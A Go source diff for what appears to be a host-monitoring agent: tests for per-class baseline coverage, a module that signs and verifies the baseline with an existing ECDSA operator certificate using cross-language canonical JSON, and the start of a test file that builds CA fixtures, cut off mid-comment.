// The file SAYS which truth it holds, because a delta against a recognised-only
|
||||
// baseline can only ever notice recognised things.
|
||||
func TestTheBaselineRecordsItsOwnCoverage(t *testing.T) {
|
||||
// EVERY HALF, separately. One word said "all-processes" while the
|
||||
// scheduler half was recognised-only, which told a reader the opposite of
|
||||
// the truth about the half that matters for persistence. The listener and
|
||||
// identity halves report `unsupported` rather than
|
||||
// `recognised-only` — a reader that did not look at all is a different fact
|
||||
// from one that looked and saw a subset.
|
||||
if got := baselineCoverage(true, true, true, true); got !=
|
||||
"processes=all,schedulers=all,listeners=all,identities=login-shells" {
|
||||
t.Errorf("coverage(all) = %q", got)
|
||||
}
|
||||
if got := baselineCoverage(true, false, true, true); got !=
|
||||
"processes=all,schedulers=recognised-only,listeners=all,identities=login-shells" {
|
||||
t.Errorf("a recognised-only scheduler half is not reported: %q", got)
|
||||
}
|
||||
if got := baselineCoverage(false, false, false, false); got !=
|
||||
"processes=recognised-only,schedulers=recognised-only,listeners=unsupported,identities=unsupported" {
|
||||
t.Errorf("coverage(partial) = %q", got)
|
||||
}
|
||||
// A BLIND HALF MUST NOT READ AS AN EMPTY ONE — the distinction the whole
|
||||
// class guard rests on.
|
||||
if baselineHasClass(baselineCoverage(true, true, false, false), "listeners") {
|
||||
t.Error("an unsupported listener half reads as covered, so a delta would " +
|
||||
"report every listener on the box as new")
|
||||
}
|
||||
if !baselineHasClass(baselineCoverage(true, true, true, true), "identities") {
|
||||
t.Error("a covered identity half reads as unsupported, so identities would never be compared")
|
||||
}
|
||||
// A baseline written before either class existed says nothing about them,
|
||||
// and that must read as "not looked at" rather than as "covered".
|
||||
if baselineHasClass("processes=all,schedulers=all", "listeners") {
|
||||
t.Error("a coverage line from before the listener class reads as covering listeners")
|
||||
}
|
||||
uiTestConfigDir(t)
|
||||
if err := baselineSave(baselineFile{Version: baselineVersion,
|
||||
Coverage: "processes=all,schedulers=all"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, ok, err := baselineLoad()
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("load: %v ok=%v", err, ok)
|
||||
}
|
||||
if f.Coverage != "processes=all,schedulers=all" {
|
||||
t.Errorf("coverage did not survive a round trip: %q", f.Coverage)
|
||||
}
|
||||
}
|
||||
|
||||
// THE SCHEDULER HALF, WIRED. The scheduler tests fed synthetic entries into
|
||||
// baselineFromSchedulers, so nothing held WHICH LIST collectBaseline consumes —
|
||||
// the same wiring-vs-source gap that let a mutation fool the process test.
|
||||
// Measured when this was found: the plane discovered 68 standing jobs and 0
|
||||
// survived the signature filter, so the baseline recorded "0 scheduled jobs"
|
||||
// while 68 existed.
|
||||
func TestTheBaselineTakesEverySchedulerNotOnlyRecognisedOnes(t *testing.T) {
|
||||
raw, _, supported := platformSchedulers()
|
||||
if !supported || len(raw) == 0 {
|
||||
t.Skip("this box exposes no standing jobs to compare against")
|
||||
}
|
||||
filtered, _ := scanSchedulers()
|
||||
if len(raw) == len(filtered) {
|
||||
t.Skip("every standing job here is recognised, so the two lists cannot be told apart")
|
||||
}
|
||||
|
||||
f, _, schedCount, _, err := collectBaseline()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if schedCount <= len(filtered) {
|
||||
t.Errorf("collectBaseline took %d standing jobs; the signature-filtered list has "+
|
||||
"%d and the real inventory has %d. A cron job running an unrecognised "+
|
||||
"command is the canonical persistence move, and a baseline that omits it "+
|
||||
"has nothing for the delta to compare against.", schedCount, len(filtered), len(raw))
|
||||
}
|
||||
got := 0
|
||||
for _, e := range f.Entries {
|
||||
if e.Kind == "scheduler" {
|
||||
got++
|
||||
}
|
||||
}
|
||||
if got <= len(filtered) {
|
||||
t.Errorf("the baseline holds %d scheduler entries, the filtered list has %d", got, len(filtered))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,546 @@
|
||||
package main
|
||||
|
||||
// baselinesign.go — the accounting is SIGNED, and by a key the host already
|
||||
// trusts: a signed baseline, kept on the box and mirrored to the anchor host.
|
||||
//
|
||||
// WHAT WAS THERE BEFORE. baseline.go's self-digest catches accident and casual
|
||||
// edit and says so plainly: "it does NOT establish who took the measurement".
|
||||
// The gap baseline.go used to name as "not signed" is closed here.
|
||||
//
|
||||
// ── WHICH KEY, AND WHY NO NEW ONE ───────────────────────────────────────────
|
||||
//
|
||||
// The obvious build mints a fresh signing keypair at claim-anchor and teaches
|
||||
// the host to pin it. It was proposed and approved in that shape, and then
|
||||
// found to be unnecessary: THE BOX ALREADY HOLDS A HOST-BOUND SIGNING KEY. At
|
||||
// pair time genOperatorCSR (pair.go:85-96) generates a P-256 key that never
|
||||
// leaves this machine, and the operator certificate the bridge issues for it
|
||||
// carries this device's fingerprint as a URI SAN — which the host bound at
|
||||
// redeem, from that device-signed CSR, under a standing invariant that the
|
||||
// heartbeat is verify-not-bind and the redeem CSR is the only binder. The
|
||||
// host also holds the CA that issued the certificate.
|
||||
//
|
||||
// So the accounting is signed with the ANCHOR pairing's operator key, and the
|
||||
// host verifies it with three checks it can already make: the certificate
|
||||
// chains to its CA, the certificate's fingerprint SAN is the fingerprint bound
|
||||
// to this bastion's row, and the signature verifies under the certificate's
|
||||
// key. No new key material on customer machines, no new pinning step, no new
|
||||
// rotation path — certificate rotation already exists and this rides it.
|
||||
//
|
||||
// On a one-host box there is no anchor, and the only active pairing's key is
|
||||
// the machine's voice. On a multi-host box with no anchor there is no single
|
||||
// key that speaks for the machine, and the accounting is written UNSIGNED with
|
||||
// the reason recorded in the file rather than guessed at by a reader.
|
||||
//
|
||||
// ── WHAT IS SIGNED ──────────────────────────────────────────────────────────
|
||||
//
|
||||
// Not the file bytes, and not Go's struct-ordered JSON: the host is Python, and
|
||||
// reproducing encoding/json's field order and escaping there is exactly the
|
||||
// kind of contract that drifts. Both sides canonicalise the same way instead:
|
||||
//
|
||||
// parse the document to a map; drop the two derived keys (`digest`,
|
||||
// `attestation`); sort every key; no whitespace; NO HTML ESCAPING; NON-ASCII
|
||||
// WRITTEN RAW (Python: ensure_ascii=False — its default escapes every
|
||||
// non-ASCII character and produced a 19-byte difference on `ré` in review);
|
||||
// the host then re-escapes a raw U+2028/U+2029 to `\u2028`/`\u2029`, because
|
||||
// encoding/json escapes those two regardless. Numbers that the two encoders
|
||||
// print differently are REFUSED on both sides (baselineCanonical).
|
||||
//
|
||||
// SHA-256 of that, ECDSA P-256, ASN.1/DER, base64. The host-side verifier
|
||||
// lives in the platform's network service and its proof verifies the
|
||||
// document TestWriteCrossLanguageFixture writes — one signed document, two
|
||||
// languages.
|
||||
// The Go side pins the bytes with a golden vector (baselinesign_test.go) so a
|
||||
// change to this form cannot pass while breaking every host silently.
|
||||
//
|
||||
// ── WHAT THIS PROVES, PRECISELY ─────────────────────────────────────────────
|
||||
//
|
||||
// CONTINUITY, NOT HARDWARE ATTESTATION. The fingerprint in the certificate's
|
||||
// SAN is the value THIS BOX computed and put into its own CSR at redeem; the
|
||||
// host pinned the first one a device-signed CSR carried. So a verified
|
||||
// attestation proves "the pairing that redeemed as X signed this" — exactly as
|
||||
// strong as that pairing, and no stronger.
|
||||
//
|
||||
// NOT A DEFENCE AGAINST ROOT ON THE BOX. The signing key is a 0600 file, so a
|
||||
// root intruder can sign anything, and nothing in the signed content is a
|
||||
// freshness token — a validly signed accounting from last month restores
|
||||
// cleanly. That is inside the accepted model (deltastate.go:25-30: a root
|
||||
// intruder can also stop the daemon). What closes the rollback and stale-mirror
|
||||
// cases is the BEAT: it carries `baseline_taken_at`, and the host compares it
|
||||
// with the `taken_at` of the mirror it verified — a mismatch is a finding.
|
||||
//
|
||||
// REUSING THE mTLS KEY IS SAFE, and here is why rather than only that it is:
|
||||
// TLS 1.3's CertificateVerify signs sixty-four spaces, a context string and a
|
||||
// transcript hash; this signs SHA-256 of a JSON object that always begins with
|
||||
// `{`. Neither can be coerced into the other's shape, so the two uses are
|
||||
// structurally domain-separated, and Go's hedged ECDSA nonce removes the
|
||||
// classic key-reuse hazard. "No new key material" is the operational reason;
|
||||
// this is the cryptographic one.
|
||||
//
|
||||
// The self-digest stays exactly as it was. It is the box's own quick integrity
|
||||
// check and the key delta-state.json is filed under; the attestation is the
|
||||
// host's proof of provenance. Two questions, two answers.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ecdsa"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// baselineSigAlg names the scheme in the file, so a verifier that meets a
|
||||
// different one refuses rather than guessing.
|
||||
const baselineSigAlg = "ecdsa-p256-sha256"
|
||||
|
||||
// baselineAttestation is the provenance block on the accounting.
|
||||
type baselineAttestation struct {
|
||||
Alg string `json:"alg"`
|
||||
// SignedBy is the host whose pairing key signed — the anchor on an anchored
|
||||
// box, the only host on a one-host box. Named so a reader knows which
|
||||
// certificate to expect without parsing one.
|
||||
SignedBy string `json:"signed_by"`
|
||||
// SignerCert is the operator certificate, PEM, followed by the intermediate
|
||||
// that issued it (the pairing's operator_cert as the bridge returned it).
|
||||
// Carried IN the file because
|
||||
// the host does not store the certificates it issues; it stores the CA and
|
||||
// the bound fingerprint, which is all it needs to judge this one.
|
||||
SignerCert string `json:"signer_cert"`
|
||||
// Signature is base64 of the DER-encoded ECDSA signature over
|
||||
// SHA-256(baselineCanonical(file)).
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
// baselineUnsignedReason is recorded on the file when no key could sign, so
|
||||
// "unsigned" is never ambiguous between "this build cannot sign" and "this
|
||||
// machine had no key that speaks for it".
|
||||
const (
|
||||
baselineUnsignedNoPairing = "no active pairing holds a key to sign with"
|
||||
baselineUnsignedNoAnchor = "several hosts are paired and none is the anchor, so no one key speaks for this machine"
|
||||
baselineUnsignedNoKey = "the pairing that speaks for this machine holds no operator key (an older pairing?)"
|
||||
baselineUnsignedAnchorGone = "the anchor host's pairing is not active on this machine"
|
||||
)
|
||||
|
||||
// baselineCanonical is the byte string both sides sign and verify.
|
||||
//
|
||||
// SEVEN places encoding/json and Python's json.dumps differ on this data,
|
||||
// measured by the reviewer against this very function over 33 inputs;
|
||||
// everything else (HTML characters, quotes, backslashes, control characters,
|
||||
// non-BMP, nested ordering) agrees exactly. Each is closed, and how:
|
||||
//
|
||||
// 1. U+2028 / U+2029: Go escapes them, Python does not. The HOST re-escapes.
|
||||
// 2. Integers beyond 2^53 (float64 round-trip). REFUSED, both sides.
|
||||
// 3. Floats with an integral value (1 vs 1.0). REFUSED, both sides.
|
||||
// 4. Small exponents (1e-7 vs 1e-07). REFUSED, both sides.
|
||||
// 5. `-0`: Python's parser makes it 0, this decoder keeps the literal. REFUSED
|
||||
// here — the only side that REFUSES it; the host prints 0 — so it is never
|
||||
// signed, and a hand-edited `-0` lands as bad_signature there.
|
||||
// 6. A number inside `digest`/`attestation`: this side used to check before
|
||||
// dropping the keys, the host after. Dropped first now — ALIGNED.
|
||||
// 7. A lone surrogate escape: this decoder folds it to U+FFFD; the host used
|
||||
// to refuse. The host now folds the same way — same bytes.
|
||||
//
|
||||
// The accounting has exactly one numeric field, Unreadable, a small count — so
|
||||
// 2-4 are unreachable today and the refusal exists so that adding a float or a
|
||||
// nanosecond timestamp later fails LOUDLY here rather than as a false
|
||||
// "tampered" verdict on every host. A refusal is an error from signing, never
|
||||
// an unsigned file.
|
||||
func baselineCanonical(f baselineFile) ([]byte, error) {
|
||||
f.Digest = ""
|
||||
f.Attestation = nil
|
||||
structured, err := json.Marshal(f)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return baselineCanonicalBytes(structured)
|
||||
}
|
||||
|
||||
// baselineCanonicalBytes canonicalises a document from its RAW JSON, the way
|
||||
// the host does. The box verifies through this too — through baselineFile it
|
||||
// verified through a LOSSY parse, so a field written by a newer bastion was
|
||||
// dropped before canonicalisation and an older binary reported "its content
|
||||
// has changed", the loudest possible message, for a version skew the host
|
||||
// verified fine.
|
||||
func baselineCanonicalBytes(raw []byte) ([]byte, error) {
|
||||
// UseNumber keeps every number as its source text so the check below sees
|
||||
// what was written, not what float64 made of it.
|
||||
dec := json.NewDecoder(bytes.NewReader(raw))
|
||||
dec.UseNumber()
|
||||
var m map[string]any
|
||||
if err := dec.Decode(&m); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Drop the derived keys FIRST, then check numbers — the same order the
|
||||
// host uses. Checking first refused a document (a number inside
|
||||
// `attestation`) the host would have verified: an asymmetry in a function
|
||||
// pair whose whole contract is byte-identity.
|
||||
delete(m, "digest")
|
||||
delete(m, "attestation")
|
||||
if err := baselineCheckNumbers(m, "$"); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
enc := json.NewEncoder(&buf)
|
||||
enc.SetEscapeHTML(false)
|
||||
if err := enc.Encode(m); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Encode appends a newline the Python side does not produce.
|
||||
return bytes.TrimRight(buf.Bytes(), "\n"), nil
|
||||
}
|
||||
|
||||
// baselineIntExact is the largest integer both encoders print identically.
|
||||
const baselineIntExact = 1 << 53
|
||||
|
||||
// baselineCheckNumbers refuses any number the two encoders would not agree on:
|
||||
// anything that is not a plain integer, and any integer beyond 2^53.
|
||||
func baselineCheckNumbers(v any, path string) error {
|
||||
switch x := v.(type) {
|
||||
case json.Number:
|
||||
s := x.String()
|
||||
if strings.ContainsAny(s, ".eE") {
|
||||
return fmt.Errorf("%s is not an integer (%s); the accounting may hold only "+
|
||||
"strings, small integers, booleans, lists and objects", path, s)
|
||||
}
|
||||
// `-0` is the one form NEITHER side otherwise catches: Python's parser
|
||||
// turns it into 0 and prints 0, this decoder keeps the literal and
|
||||
// prints -0, and the result is a false "tampered" verdict. This is the
|
||||
// only side that refuses it, and the only side that signs, so a signed
|
||||
// document can never carry one.
|
||||
//
|
||||
// (The `.eE` guard above is belt-and-braces: Int64() below refuses every
|
||||
// such literal anyway. It exists for the error message, not the verdict.)
|
||||
if s == "-0" || strings.HasPrefix(s, "-0") {
|
||||
return fmt.Errorf("%s = %s is a negative zero, which the two encoders print differently", path, s)
|
||||
}
|
||||
n, err := x.Int64()
|
||||
if err != nil || n > baselineIntExact || n < -baselineIntExact {
|
||||
return fmt.Errorf("%s = %s exceeds 2^53; the two encoders would not agree on it", path, s)
|
||||
}
|
||||
case map[string]any:
|
||||
for k, y := range x {
|
||||
if err := baselineCheckNumbers(y, path+"."+k); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
case []any:
|
||||
for i, y := range x {
|
||||
if err := baselineCheckNumbers(y, fmt.Sprintf("%s[%d]", path, i)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// baselineSignerPairing picks the pairing whose key speaks for this machine.
|
||||
// The second return is the reason none does, or "".
|
||||
func baselineSignerPairing(cfgs []*Config) (*Config, string) {
|
||||
// ONE filter, applied on BOTH branches. The anchored branch used to resolve
|
||||
// the anchor by name alone (pairingFor matches host name and handle, never
|
||||
// state), so a box whose anchor pairing was pending or revoked signed with
|
||||
// it while the unanchored branch four lines down was filtering exactly that.
|
||||
isActive := func(c *Config) bool { return c.State == "" || c.State == pairingActive }
|
||||
if a := currentAnchor(); a != nil {
|
||||
c := pairingFor(cfgs, a.AnchorHost)
|
||||
if c == nil || !isActive(c) {
|
||||
return nil, baselineUnsignedAnchorGone
|
||||
}
|
||||
if strings.TrimSpace(c.OperatorKey) == "" {
|
||||
return nil, baselineUnsignedNoKey
|
||||
}
|
||||
return c, ""
|
||||
}
|
||||
var active []*Config
|
||||
for _, c := range cfgs {
|
||||
if isActive(c) {
|
||||
active = append(active, c)
|
||||
}
|
||||
}
|
||||
switch len(active) {
|
||||
case 0:
|
||||
return nil, baselineUnsignedNoPairing
|
||||
case 1:
|
||||
// A pairing with NO key is a reason to record, not an error to raise:
|
||||
// the accounting must still be written. (A key that is PRESENT and
|
||||
// unreadable is the error — baselineSign — because a reader cannot
|
||||
// tell "meant to be unsigned" from "failed to sign".)
|
||||
if strings.TrimSpace(active[0].OperatorKey) == "" {
|
||||
return nil, baselineUnsignedNoKey
|
||||
}
|
||||
return active[0], ""
|
||||
default:
|
||||
return nil, baselineUnsignedNoAnchor
|
||||
}
|
||||
}
|
||||
|
||||
func parseECPrivateKeyPEM(keyPEM string) (*ecdsa.PrivateKey, error) {
|
||||
block, _ := pem.Decode([]byte(keyPEM))
|
||||
if block == nil {
|
||||
return nil, errors.New("no PEM block in the operator key")
|
||||
}
|
||||
return x509.ParseECPrivateKey(block.Bytes)
|
||||
}
|
||||
|
||||
// baselineSign attests the accounting with the given pairing's operator key.
|
||||
func baselineSign(f *baselineFile, signer *Config) error {
|
||||
if signer == nil || strings.TrimSpace(signer.OperatorKey) == "" {
|
||||
return errors.New(baselineUnsignedNoKey)
|
||||
}
|
||||
key, err := parseECPrivateKeyPEM(signer.OperatorKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("the operator key could not be read: %w", err)
|
||||
}
|
||||
canon, err := baselineCanonical(*f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sum := sha256.Sum256(canon)
|
||||
sig, err := ecdsa.SignASN1(rand.Reader, key, sum[:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f.Attestation = &baselineAttestation{
|
||||
Alg: baselineSigAlg,
|
||||
SignedBy: signer.HostName,
|
||||
SignerCert: signer.OperatorCert,
|
||||
Signature: base64.StdEncoding.EncodeToString(sig),
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// baselineVerify checks an attestation with the SAME three tests the host
|
||||
// makes, using this pairing's CA and fingerprint.
|
||||
//
|
||||
// Returns ok and a note. The note is what a person reads, so it names WHICH
|
||||
// test failed: an unsigned file, a certificate this CA did not issue, a
|
||||
// certificate for a different machine, and a signature that does not match are
|
||||
// four different situations and only the last one means the content moved.
|
||||
func baselineVerify(f *baselineFile, caPEM, expectFingerprint string) (bool, string) {
|
||||
raw, err := json.Marshal(f)
|
||||
if err != nil {
|
||||
return false, "this accounting could not be re-encoded: " + err.Error()
|
||||
}
|
||||
return baselineVerifyBytes(raw, caPEM, expectFingerprint)
|
||||
}
|
||||
|
||||
// baselineVerifyBytes is the verifier proper, over the file's own bytes.
|
||||
func baselineVerifyBytes(raw []byte, caPEM, expectFingerprint string) (bool, string) {
|
||||
var head struct {
|
||||
TakenAt string `json:"taken_at"`
|
||||
Attestation *baselineAttestation `json:"attestation"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &head); err != nil {
|
||||
return false, "this accounting cannot be read: " + err.Error()
|
||||
}
|
||||
a := head.Attestation
|
||||
if a == nil {
|
||||
return false, "this accounting is not signed"
|
||||
}
|
||||
if a.Alg != baselineSigAlg {
|
||||
return false, "this accounting is signed with " + a.Alg + ", which this bastion does not verify"
|
||||
}
|
||||
// THE SIGNER CERTIFICATE IS A CHAIN: the operator certificate first, then
|
||||
// the intermediate that issued it. The bridge issues operator certificates
|
||||
// from an intermediate, and a pairing holds only the root, so judging the
|
||||
// first block alone refused every real accounting as "not issued by this
|
||||
// pairing's CA". Everything after the first block is offered as an
|
||||
// intermediate; Verify still requires the path to end at the pairing's root
|
||||
// and every hop to be a CA.
|
||||
chain, note := baselineSignerChain(a.SignerCert)
|
||||
if note != "" {
|
||||
return false, note
|
||||
}
|
||||
cert := chain[0]
|
||||
inter := x509.NewCertPool()
|
||||
for _, c := range chain[1:] {
|
||||
inter.AddCert(c)
|
||||
}
|
||||
roots := x509.NewCertPool()
|
||||
if !roots.AppendCertsFromPEM([]byte(caPEM)) {
|
||||
return false, "this pairing holds no CA to judge the signer certificate against"
|
||||
}
|
||||
// VALIDITY IS JUDGED AT THE MOMENT THE ACCOUNTING WAS TAKEN, not now. This
|
||||
// is provenance over a document at rest: an accounting taken in March under
|
||||
// a certificate that expired in June is still that machine's word, and
|
||||
// judging at time.Now() made every accounting unverifiable at the next cert
|
||||
// rotation — reported, worse, as "not issued by this CA". A certificate
|
||||
// that was not valid WHEN THE ACCOUNTING WAS TAKEN is still refused, and by
|
||||
// name. An unparseable taken_at falls back to now, the stricter choice.
|
||||
at := time.Now()
|
||||
if t, ok := parseStamp(head.TakenAt); ok {
|
||||
at = t
|
||||
}
|
||||
chains, err := cert.Verify(x509.VerifyOptions{
|
||||
Roots: roots, Intermediates: inter, CurrentTime: at, KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageAny},
|
||||
})
|
||||
if err != nil {
|
||||
var inv x509.CertificateInvalidError
|
||||
if errors.As(err, &inv) && inv.Reason == x509.Expired {
|
||||
return false, "the signer certificate was not valid at the time this accounting was taken (" + head.TakenAt + ")"
|
||||
}
|
||||
return false, "the signer certificate was not issued by this pairing's CA: " + err.Error()
|
||||
}
|
||||
// AT MOST ONE INTERMEDIATE, the shape the bridge issues and the only one
|
||||
// the host accepts. A longer path verifying here and failing there would
|
||||
// leave the box and the host disagreeing about the same accounting.
|
||||
short := false
|
||||
for _, c := range chains {
|
||||
if len(c) <= 3 {
|
||||
short = true
|
||||
}
|
||||
}
|
||||
if !short {
|
||||
return false, "the signer certificate was not issued by this pairing's CA: its chain is longer than one intermediate"
|
||||
}
|
||||
// The fingerprint may sit under either name (pair.go fpURIs); a
|
||||
// certificate naming two different machines is refused, not resolved.
|
||||
fp := ""
|
||||
for _, u := range cert.URIs {
|
||||
s := u.String()
|
||||
for _, p := range []string{fpSANPrefix, hostFPSANPrefix} {
|
||||
if !strings.HasPrefix(s, p) {
|
||||
continue
|
||||
}
|
||||
got := strings.TrimPrefix(s, p)
|
||||
if fp != "" && got != fp {
|
||||
return false, "the signer certificate carries two different device fingerprints"
|
||||
}
|
||||
fp = got
|
||||
}
|
||||
}
|
||||
if fp == "" {
|
||||
return false, "the signer certificate carries no device fingerprint"
|
||||
}
|
||||
if expectFingerprint != "" && fp != expectFingerprint {
|
||||
return false, "the signer certificate belongs to a different machine"
|
||||
}
|
||||
pub, ok := cert.PublicKey.(*ecdsa.PublicKey)
|
||||
if !ok {
|
||||
return false, "the signer certificate does not hold an EC key"
|
||||
}
|
||||
sig, err := base64.StdEncoding.DecodeString(a.Signature)
|
||||
if err != nil {
|
||||
return false, "the signature on this accounting is not base64"
|
||||
}
|
||||
canon, err := baselineCanonicalBytes(raw)
|
||||
if err != nil {
|
||||
return false, "this accounting could not be canonicalised: " + err.Error()
|
||||
}
|
||||
sum := sha256.Sum256(canon)
|
||||
if !ecdsa.VerifyASN1(pub, sum[:], sig) {
|
||||
return false, "the signature does not match this accounting — its content has changed since " +
|
||||
a.SignedBy + "'s key signed it"
|
||||
}
|
||||
return true, "signed by " + a.SignedBy + "'s pairing key; verified against its CA and this machine's fingerprint"
|
||||
}
|
||||
|
||||
// baselineSignerChain reads the signer certificate text as [leaf,
|
||||
// intermediates...], or says why it cannot.
|
||||
//
|
||||
// THE TEXT MUST BE THE CANONICAL PEM OF ITS OWN CERTIFICATES, byte for byte:
|
||||
// every block a CERTIFICATE with no headers, each re-encoded exactly as
|
||||
// pem.EncodeToMemory writes it, concatenated, equal to what was carried. The
|
||||
// host applies the same test to the same bytes. Two PEM parsers never agree
|
||||
// on every malformed input (pem.Decode skips a block it cannot decode and
|
||||
// promotes the next one to leaf; others refuse), so neither side interprets a
|
||||
// non-canonical text at all. What the bridge issues and every pairing holds
|
||||
// is canonical, so nothing real is refused.
|
||||
func baselineSignerChain(text string) ([]*x509.Certificate, string) {
|
||||
const bad = "the signer certificate on this accounting cannot be parsed"
|
||||
var chain []*x509.Certificate
|
||||
var canon []byte
|
||||
rest := []byte(text)
|
||||
for {
|
||||
var b *pem.Block
|
||||
if b, rest = pem.Decode(rest); b == nil {
|
||||
break
|
||||
}
|
||||
c, err := x509.ParseCertificate(b.Bytes)
|
||||
if err != nil {
|
||||
return nil, bad
|
||||
}
|
||||
chain = append(chain, c)
|
||||
canon = append(canon, pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: b.Bytes})...)
|
||||
}
|
||||
if len(chain) == 0 {
|
||||
return nil, "the signer certificate on this accounting is not PEM"
|
||||
}
|
||||
if string(canon) != text {
|
||||
return nil, bad + ": it is not the canonical PEM of its certificates"
|
||||
}
|
||||
return chain, ""
|
||||
}
|
||||
|
||||
// baselineAttestationNote judges the accounting on disk the way the host will,
|
||||
// for `observe:baseline:show` and the delta's notes. "" when it verifies.
|
||||
func baselineAttestationNote(f *baselineFile) string {
|
||||
if f == nil {
|
||||
return ""
|
||||
}
|
||||
p, err := baselinePath()
|
||||
if err != nil {
|
||||
return "the attestation could not be checked: no state dir"
|
||||
}
|
||||
raw, err := os.ReadFile(p)
|
||||
if err != nil {
|
||||
return "the attestation could not be checked: " + err.Error()
|
||||
}
|
||||
return baselineAttestationNoteBytes(raw, f.Attestation != nil)
|
||||
}
|
||||
|
||||
// baselineAttestationNoteBytes is the note over the file's own bytes (see
|
||||
// baselineCanonicalBytes for why not through the struct). `signed` says whether
|
||||
// the caller's parse saw an attestation, so an honestly-unsigned file is "" and
|
||||
// not a problem.
|
||||
//
|
||||
// loadPairings runs on every pass here (60 s). It reads a directory and N small
|
||||
// files, and it FAILS THE WHOLE LOAD if any one file is mid-write or malformed
|
||||
// (config.go) — so a concurrent pair/unpair can produce "pairings unreadable"
|
||||
// on one beat. Transient and self-correcting; it is a torn read, not an
|
||||
// attestation problem, and this note says which.
|
||||
func baselineAttestationNoteBytes(raw []byte, signed bool) string {
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return "the attestation could not be checked this pass: pairings unreadable (a pairing " +
|
||||
"file may be mid-write; this clears on the next pass)"
|
||||
}
|
||||
signer, _ := baselineSignerPairing(cfgs)
|
||||
if signer == nil {
|
||||
if !signed {
|
||||
return "" // unsigned and nothing could have signed it; the file says why
|
||||
}
|
||||
return "this accounting is signed but no pairing on this machine can check it"
|
||||
}
|
||||
ok, note := baselineVerifyBytes(raw, signer.CACert, signer.Fingerprint)
|
||||
if ok {
|
||||
return ""
|
||||
}
|
||||
return note
|
||||
}
|
||||
|
||||
// baselineMirror writes the accounting into the machine store, where the host
|
||||
// reads it through dcn beside the findings it stands behind, mirrored to the
|
||||
// anchor host. The bytes are identical to the state-dir copy; the store
|
||||
// copy is the one the host verifies, and a host that finds them different has
|
||||
// found something.
|
||||
func baselineMirror(b []byte) error {
|
||||
root, err := storeDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
p := filepath.Join(root, "baseline.json")
|
||||
if err := os.WriteFile(p, b, 0o600); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = os.Chmod(p, 0o600)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,951 @@
|
||||
package main
|
||||
|
||||
// baselinesign_test.go — the accounting's signature.
|
||||
//
|
||||
// EVERY TEST HERE BUILDS A REAL CA AND A REAL LEAF with crypto/x509, the way
|
||||
// the bridge issues an operator certificate, and drives baselineSave /
|
||||
// baselineLoad / baselineVerify on the resulting files. None asserts a value it
|
||||
// supplied a seam above the code under test.
|
||||
//
|
||||
// The last test is a FIXTURE GENERATOR: when BASELINE_FIXTURE_OUT names a
|
||||
// directory it writes a signed accounting, the CA and the fingerprint there.
|
||||
// The host-side test suite verifies THAT artefact — so the two
|
||||
// languages are checked against one signed document, not each against its own
|
||||
// fake. That is the cross-language claim baselinesign.go rests on, and it is
|
||||
// tested rather than asserted.
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// fixtureNotBefore is the start of every fixture certificate's validity: well
|
||||
// before sampleBaseline's taken_at, so the accounting never predates its own
|
||||
// certificate.
|
||||
var fixtureNotBefore = time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
|
||||
|
||||
// signingFixture is a CA, a leaf issued by it carrying the fingerprint SAN the
|
||||
// bridge puts in an operator certificate, and the leaf's key — the same shape
|
||||
// pair.go's CSR and the bridge's issuance produce.
|
||||
type signingFixture struct {
|
||||
caPEM, leafPEM, keyPEM string
|
||||
fp string
|
||||
}
|
||||
|
||||
func newSigningFixture(t *testing.T, fp string) signingFixture {
|
||||
t.Helper()
|
||||
uris, err := fpURIs(fp, true)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return newSigningFixtureWithURIs(t, fp, uris)
|
||||
}
|
||||
|
||||
// newSigningFixtureWithURIs issues the leaf with exactly these URI SANs, for
|
||||
// the certificates a platform or an older Host issues.
|
||||
func newSigningFixtureWithURIs(t *testing.T, fp string, uris []*url.URL) signingFixture {
|
||||
t.Helper()
|
||||
caKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
caTpl := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "test CEIGAS CA"},
|
||||
// VALID ACROSS THE SAMPLE'S taken_at. Both verifiers judge the
|
||||
// certificate at the moment the accounting was taken, and the sample is
|
||||
// stamped 2026-09-19T10:00:00Z — a certificate minted "now minus an hour"
|
||||
